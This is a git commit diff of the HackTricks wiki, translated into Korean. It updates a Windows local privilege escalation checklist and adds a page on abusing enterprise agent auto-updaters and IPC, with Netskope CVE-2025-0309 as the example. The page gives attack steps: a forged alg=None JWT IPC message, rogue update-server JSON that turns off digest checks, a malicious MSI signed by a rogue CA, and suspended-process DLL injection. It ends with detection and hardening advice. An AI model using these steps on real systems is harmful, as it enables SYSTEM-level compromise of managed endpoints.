Translated ['src/windows-hardening/windows-local-privilege-escalation/ab

This commit is contained in:
Translator 2025-09-03 14:53:20 +00:00
parent 44f4ee3e78
commit da2a3aa303
4 changed files with 537 additions and 403 deletions

View File

@ -236,6 +236,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)

View File

@ -1,114 +1,115 @@
# 체크리스트 - 로컬 Windows 권한 상승
# 체크리스트 - Local Windows Privilege Escalation
{{#include ../banners/hacktricks-training.md}}
### **Windows 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Windows local privilege escalation 벡터를 찾기 위한 최고의 도구:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [시스템 정보](windows-local-privilege-escalation/index.html#system-info)
### [System Info](windows-local-privilege-escalation/index.html#system-info)
- [ ] [**시스템 정보**](windows-local-privilege-escalation/index.html#system-info) 얻기
- [ ] **커널** [**스크립트를 사용한 익스플로잇**](windows-local-privilege-escalation/index.html#version-exploits) 검색
- [ ] **Google을 사용하여** 커널 **익스플로잇** 검색
- [ ] **searchsploit를 사용하여** 커널 **익스플로잇** 검색
- [ ] [**환경 변수**](windows-local-privilege-escalation/index.html#environment)에서 흥미로운 정보?
- [ ] [**PowerShell 기록**](windows-local-privilege-escalation/index.html#powershell-history)에서 비밀번호?
- [ ] [**인터넷 설정**](windows-local-privilege-escalation/index.html#internet-settings)에서 흥미로운 정보?
- [ ] [**드라이브**](windows-local-privilege-escalation/index.html#drives)?
- [ ] [**WSUS 익스플로잇**](windows-local-privilege-escalation/index.html#wsus)?
- [ ] [**System information**](windows-local-privilege-escalation/index.html#system-info) 얻기
- [ ] **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) 검색
- [ ] **Google**로 kernel **exploits** 검색
- [ ] **searchsploit**로 kernel **exploits** 검색
- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment)에 흥미로운 정보가 있는가?
- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)에 비밀번호가 있는가?
- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)에 흥미로운 정보가 있는가?
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
### [로그/AV 열거](windows-local-privilege-escalation/index.html#enumeration)
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
- [ ] [**감사**](windows-local-privilege-escalation/index.html#audit-settings) 및 [**WEF**](windows-local-privilege-escalation/index.html#wef) 설정 확인
- [ ] [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) 및 [**WEF** ](windows-local-privilege-escalation/index.html#wef) 설정 확인
- [ ] [**LAPS**](windows-local-privilege-escalation/index.html#laps) 확인
- [ ] [**WDigest**](windows-local-privilege-escalation/index.html#wdigest)가 활성화되어 있는지 확인
- [ ] [**LSA 보호**](windows-local-privilege-escalation/index.html#lsa-protection)?
- [ ] [**자격 증명 가드**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**캐시된 자격 증명**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) 확인
- [ ] [**AppLocker 정책**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
- [ ] [**사용자 권한**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] [**현재** 사용자 **권한**](windows-local-privilege-escalation/index.html#users-and-groups) 확인
- [ ] [**특권 그룹의 구성원**](windows-local-privilege-escalation/index.html#privileged-groups)인가?
- [ ] [이 토큰 중 어떤 것이 활성화되어 있는지 확인](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**사용자 세션**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] [**사용자 홈**](windows-local-privilege-escalation/index.html#home-folders) 확인 (접근 가능?)
- [ ] [**비밀번호 정책**](windows-local-privilege-escalation/index.html#password-policy) 확인
- [ ] [**클립보드**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) 안에 무엇이 있나요?
- [ ] [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)가 활성화되어 있는가?
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] 어떤 [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)가 있는가 확인
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) 확인
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) 확인
- [ ] 현재 사용자 **privileges** 확인 (권한)
- [ ] [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) 인가?
- [ ] 다음 토큰들 중 활성화된 것이 있는가: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] [**users homes**](windows-local-privilege-escalation/index.html#home-folders) 확인 (접근 가능?)
- [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) 확인
- [ ] [**Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)에 무엇이 들어있는가?
### [네트워크](windows-local-privilege-escalation/index.html#network)
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] **현재** [**네트워크** **정보**](windows-local-privilege-escalation/index.html#network) 확인
- [ ] 외부에 제한된 **숨겨진 로컬 서비스** 확인
- [ ] 현재 **network information** 확인
- [ ] 외부에 제한된 **hidden local services** 확인
### [실행 중인 프로세스](windows-local-privilege-escalation/index.html#running-processes)
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
- [ ] 프로세스 바이너리 [**파일 및 폴더 권한**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**메모리 비밀번호 채굴**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**안전하지 않은 GUI 앱**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] `ProcDump.exe`통해 **흥미로운 프로세스**로 자격 증명 도용? (firefox, chrome 등 ...)
- [ ] Processes binaries의 [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) 확인
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] `ProcDump.exe`이용해 **흥미로운 프로세스**에서 자격증명 탈취? (firefox, chrome 등 ...)
### [서비스](windows-local-privilege-escalation/index.html#services)
### [Services](windows-local-privilege-escalation/index.html#services)
- [ ] [**서비스를 수정할 수 있나요?**](windows-local-privilege-escalation/index.html#permissions)
- [ ] [**서비스에 의해 실행되는 바이너리를 수정할 수 있나요?**](windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] [**서비스의 레지스트리를 수정할 수 있나요?**](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] [**인용되지 않은 서비스 바이너리 경로**](windows-local-privilege-escalation/index.html#unquoted-service-paths)를 이용할 수 있나요?
- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions)
- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
### [**응용 프로그램**](windows-local-privilege-escalation/index.html#applications)
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
- [ ] **설치된 응용 프로그램에 대한** [**쓰기 권한**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**시작 응용 프로그램**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **취약한** [**드라이버**](windows-local-privilege-escalation/index.html#drivers)
- [ ] **쓰기** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) 확인
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
### [DLL 하이재킹](windows-local-privilege-escalation/index.html#path-dll-hijacking)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] **PATH 안의 어떤 폴더에 쓸 수 있나요?**
- [ ] **존재하지 않는 DLL을 로드하려고 하는** 알려진 서비스 바이너리가 있나요?
- [ ] **바이너리 폴더에 쓸 수 있나요?**
- [ ] PATH 내부의 폴더에 쓸 수 있는가?
- [ ] 알려진 서비스 바이너리 중 존재하지 않는 DLL을 로드하려고 하는 것이 있는가?
- [ ] 어떤 **binaries folder**에 쓸 수 있는가?
### [네트워크](windows-local-privilege-escalation/index.html#network)
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] 네트워크 열거 (공유, 인터페이스, 경로, 이웃 등 ...)
- [ ] 로컬호스트(127.0.0.1)에서 수신 대기 중인 네트워크 서비스에 특별히 주목
- [ ] 네트워크 열거 (shares, interfaces, routes, neighbours, ...) 수행
- [ ] localhost(127.0.0.1)에서 수신 중인 네트워크 서비스에 특히 주의
### [Windows 자격 증명](windows-local-privilege-escalation/index.html#windows-credentials)
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) 자격증명
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 자격 증명을 사용할 수 있나요?
- [ ] 흥미로운 [**DPAPI 자격 증명**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] 저장된 [**Wifi 네트워크**](windows-local-privilege-escalation/index.html#wifi) 비밀번호?
- [ ] [**저장된 RDP 연결**](windows-local-privilege-escalation/index.html#saved-rdp-connections)에 흥미로운 정보?
- [ ] [**최근 실행된 명령**](windows-local-privilege-escalation/index.html#recently-run-commands)에 비밀번호?
- [ ] [**원격 데스크톱 자격 증명 관리자**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 비밀번호?
- [ ] [**AppCmd.exe** 존재](windows-local-privilege-escalation/index.html#appcmd-exe)? 자격 증명?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL 사이드 로딩?
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 사용 가능한 자격증명?
- [ ] 흥미로운 [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] 저장된 [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) 비밀번호?
- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)에 흥미로운 정보?
- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)에 비밀번호가 있는가?
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 비밀번호?
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? 자격증명?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
### [파일 및 레지스트리 (자격 증명)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
- [ ] **Putty:** [**자격 증명**](windows-local-privilege-escalation/index.html#putty-creds) **및** [**SSH 호스트 키**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**레지스트리의 SSH 키**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] [**비대면 파일**](windows-local-privilege-escalation/index.html#unattended-files)에 비밀번호?
- [ ] [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 백업이 있나요?
- [ ] [**클라우드 자격 증명**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)에 비밀번호가 있는가?
- [ ] 어떤 [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 백업이 있는가?
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) 파일?
- [ ] [**캐시된 GPP 비밀번호**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] [**IIS 웹 구성 파일**](windows-local-privilege-escalation/index.html#iis-web-config)에 비밀번호?
- [ ] [**웹 로그**](windows-local-privilege-escalation/index.html#logs)에 흥미로운 정보?
- [ ] 사용자에게 [**자격 증명 요청**](windows-local-privilege-escalation/index.html#ask-for-credentials) 하시겠습니까?
- [ ] [**휴지통 안의 흥미로운 파일**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] [**자격 증명 포함 레지스트리**](windows-local-privilege-escalation/index.html#inside-the-registry)?
- [ ] [**브라우저 데이터**](windows-local-privilege-escalation/index.html#browsers-history) 안에 (dbs, 기록, 북마크 등)?
- [ ] [**파일 및 레지스트리에서 일반 비밀번호 검색**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry)
- [ ] 비밀번호를 자동으로 검색하는 [**도구**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords)
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)에 비밀번호가 있는가?
- [ ] [**web logs**](windows-local-privilege-escalation/index.html#logs)에 흥미로운 정보가 있는가?
- [ ] 사용자에게 [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) 요청할 것인가?
- [ ] [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)에 있는 흥미로운 파일들?
- [ ] 자격증명을 포함한 다른 [**registry**](windows-local-privilege-escalation/index.html#inside-the-registry)?
- [ ] [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) 내부 (dbs, history, bookmarks, ...)?
- [ ] 파일과 레지스트리에서의 [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry)
- [ ] 비밀번호를 자동으로 검색하는 [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords)
### [유출된 핸들러](windows-local-privilege-escalation/index.html#leaked-handlers)
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
- [ ] 관리자에 의해 실행된 프로세스의 핸들러에 접근할 수 있나요?
- [ ] 관리자 권한으로 실행된 프로세스의 핸들러에 접근할 수 있는가?
### [파이프 클라이언트 가장하기](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
- [ ] 이를 악용할 수 있는지 확인
- [ ] 악용할 수 있는지 확인
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,121 @@
# 엔터프라이즈 자동 업데이트 및 권한 있는 IPC 악용 (예: Netskope stAgentSvc)
{{#include ../../banners/hacktricks-training.md}}
이 페이지는 낮은 마찰의 IPC 인터페이스와 권한 있는 업데이트 흐름을 노출하는 엔터프라이즈 엔드포인트 에이전트 및 업데이트 프로그램에서 발견되는 Windows 로컬 권한 상승 체인의 한 범주를 일반화합니다. 대표적인 예는 Netskope Client for Windows < R129 (CVE-2025-0309), 낮은 권한의 사용자가 공격자 제어 서버로의 등록을 강제한 다음 SYSTEM 서비스가 설치하는 악성 MSI를 전달할 있습니다.
재사용할 수 있는 핵심 아이디어:
- 권한 있는 서비스의 localhost IPC를 악용해 공격자 서버로의 재등록 또는 재구성을 강제합니다.
- 벤더의 업데이트 엔드포인트를 구현하고, 악성 Trusted Root CA를 배포한 뒤 업데이터를 악성으로 “서명된” 패키지로 가리킵니다.
- 약한 signer 검사(CN allowlists), 선택적 digest 플래그 및 느슨한 MSI 속성을 회피합니다.
- IPC가 “encrypted”되어 있다면 레지스트리에 저장된 모두가 읽을 수 있는 머신 식별자에서 key/IV를 유도합니다.
- 서비스가 image path/process name으로 호출자를 제한하면 allowlisted 프로세스에 인젝션하거나 프로세스를 suspended 상태로 생성한 뒤 최소한의 threadcontext 패치로 DLL을 부트스트랩합니다.
---
## 1) localhost IPC를 통한 공격자 서버로의 등록 강제화
많은 에이전트는 JSON을 사용해 localhost TCP를 통해 SYSTEM 서비스와 통신하는 usermode UI 프로세스를 제공합니다.
Netskope에서 관찰됨:
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
공격 흐름:
1) 백엔드 호스트를 제어하는 클레임(예: AddonUrl)을 포함하는 JWT 등록 토큰을 생성합니다. 서명이 필요 없도록 alg=None을 사용합니다.
2) JWT와 테넌트 이름을 포함해 provisioning 명령을 호출하는 IPC 메시지를 보냅니다:
```json
{
"148": {
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
"tenantName": "TestOrg"
}
}
```
3) 서비스가 등록/구성을 위해 공격자 서버로 요청을 보내기 시작합니다. 예:
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Notes:
- 호출자 검증이 path/namebased인 경우, 요청을 allowlisted vendor binary에서 시작하세요 (see §4).
---
## 2) 업데이트 채널을 탈취하여 SYSTEM 권한으로 코드 실행
클라이언트가 서버와 통신하면, 예상되는 엔드포인트를 구현하고 클라이언트를 공격자 MSI로 유도합니다. 일반적인 순서:
1) /v2/config/org/clientconfig → 매우 짧은 업데이트 간격을 가진 JSON config 반환, 예:
```json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
```
2) /config/ca/cert → PEM CA certificate를 반환합니다. 서비스는 이를 Local Machine Trusted Root store에 설치합니다.
3) /v2/checkupdate → 악성 MSI와 가짜 버전을 가리키는 메타데이터를 제공합니다.
Bypassing common checks seen in the wild:
- Signer CN allowlist: 서비스는 Subject CN이 “netSkope Inc” 또는 “Netskope, Inc.”인지 여부만 확인할 수 있습니다. 당신의 rogue CA는 해당 CN으로 leaf를 발급해 MSI에 서명할 수 있습니다.
- CERT_DIGEST property: CERT_DIGEST라는 이름의 무해한 MSI 속성을 포함하세요. 설치 시 강제 검증이 없습니다.
- Optional digest enforcement: config 플래그(예: check_msi_digest=false)가 추가 암호화 검증을 비활성화합니다.
Result: SYSTEM 서비스가 C:\ProgramData\Netskope\stAgent\data\*.msi에서 당신의 MSI를 설치하여 NT AUTHORITY\SYSTEM으로 임의 코드를 실행합니다.
---
## 3) Forging encrypted IPC requests (when present)
From R127, Netskope는 IPC JSON을 Base64처럼 보이는 encryptData 필드로 래핑했습니다. 리버싱 결과 AES가 사용되며 key/IV는 모든 사용자가 읽을 수 있는 레지스트리 값에서 유도된 것으로 나타났습니다:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
공격자는 암호화 과정을 재현하여 일반 사용자 권한으로도 유효한 암호화된 명령을 전송할 수 있습니다. 일반적인 팁: 에이전트가 갑자기 IPC를 “암호화”하기 시작하면, HKLM 아래의 device ID, product GUID, install ID 같은 항목을 찾아보세요.
---
## 4) Bypassing IPC caller allowlists (path/name checks)
일부 서비스는 TCP 연결의 PID를 해결하고 이미지 경로/이름을 Program Files 하위의 허용된 벤더 바이너리(예: stagentui.exe, bwansvc.exe, epdlp.exe)와 비교하여 피어를 인증하려고 합니다.
두 가지 실용적 우회 방법:
- DLL injection into an allowlisted process (예: nsdiag.exe) 후 그 내부에서 IPC를 프록시합니다.
- 허용된 바이너리를 suspended 상태로 실행한 뒤 CreateRemoteThread 없이 proxy DLL을 부트스트랩(§5 참조)하여 드라이버가 강제하는 조작 방지 규칙을 만족시킵니다.
---
## 5) Tamperprotection friendly injection: suspended process + NtContinue patch
제품들은 종종 minifilter/OB callbacks driver(예: Stadrv)를 함께 배포하여 보호된 프로세스에 대한 핸들 권한을 제거합니다:
- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME를 제거
- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE로 제한
이 제약을 준수하는 신뢰할 수 있는 usermode 로더 절차:
1) CreateProcess로 벤더 바이너리를 CREATE_SUSPENDED 상태로 생성합니다.
2) 여전히 얻을 수 있는 핸들을 획득합니다: 프로세스에 대해 PROCESS_VM_WRITE | PROCESS_VM_OPERATION, 스레드에 대해 THREAD_GET_CONTEXT/THREAD_SET_CONTEXT(또는 알려진 RIP에서 코드를 패치할 경우 THREAD_RESUME만) 등.
3) ntdll!NtContinue(또는 초기 로드가 보장되는 다른 thunk)를 LoadLibraryW로 당신의 DLL 경로를 호출하고 돌아오도록 하는 작은 스텁으로 덮어씁니다.
4) ResumeThread로 스텁을 트리거하여 프로세스 내부에서 DLL을 로드합니다.
이미 보호된 프로세스에 대해 PROCESS_CREATE_THREAD나 PROCESS_SUSPEND_RESUME을 사용하지 않았기 때문에(당신이 만든 프로세스입니다) 드라이버 정책을 만족합니다.
---
## 6) Practical tooling
- NachoVPN (Netskope plugin)은 rogue CA, 악성 MSI 서명 자동화 및 필요한 엔드포인트(/v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate)를 제공합니다.
- UpSkope는 임의의(선택적으로 AES암호화된) IPC 메시지를 제작할 수 있는 커스텀 IPC 클라이언트이며, 허용된 바이너리에서 시작되도록 suspendedprocess 인젝션을 포함합니다.
---
## 7) Detection opportunities (blue team)
- Local Machine Trusted Root에 추가되는 항목을 모니터링하세요. Sysmon + registrymod 이벤트(참조: SpecterOps 가이드)가 잘 작동합니다.
- 에이전트 서비스가 C:\ProgramData\<vendor>\<agent>\data\*.msi 같은 경로에서 시작한 MSI 실행을 플래그합니다.
- 에이전트 로그를 검토하여 예상치 못한 enrollment 호스트/테넌트(예: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log) — addonUrl / tenant 이상 및 provisioning msg 148을 확인하세요.
- 예상된 서명된 바이너리가 아니거나 비정상적인 자식 프로세스 트리에서 시작된 localhost IPC 클라이언트에 대해 경보를 설정하세요.
---
## Hardening tips for vendors
- enrollment/update 호스트를 엄격한 allowlist에 바인드하고 clientcode에서 신뢰되지 않은 도메인을 거부하세요.
- 이미지 경로/이름 확인 대신 OS 프리미티브(ALPC security, namedpipe SIDs)로 IPC 피어를 인증하세요.
- 비밀 자재를 worldreadable한 HKLM에 두지 마세요; IPC를 암호화해야 한다면 보호된 비밀에서 키를 유도하거나 인증된 채널에서 협상하세요.
- updater를 공급망 표면으로 간주하세요: 신뢰하는 CA로 완전한 체인을 요구하고, 패키지 서명을 pinned 키에 대해 검증하며, config에서 검증이 비활성화되어 있으면 fail closed 하세요.
## References
- [Advisory Netskope Client for Windows Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
- [NachoVPN Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
- [UpSkope Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
- [NVD CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
{{#include ../../banners/hacktricks-training.md}}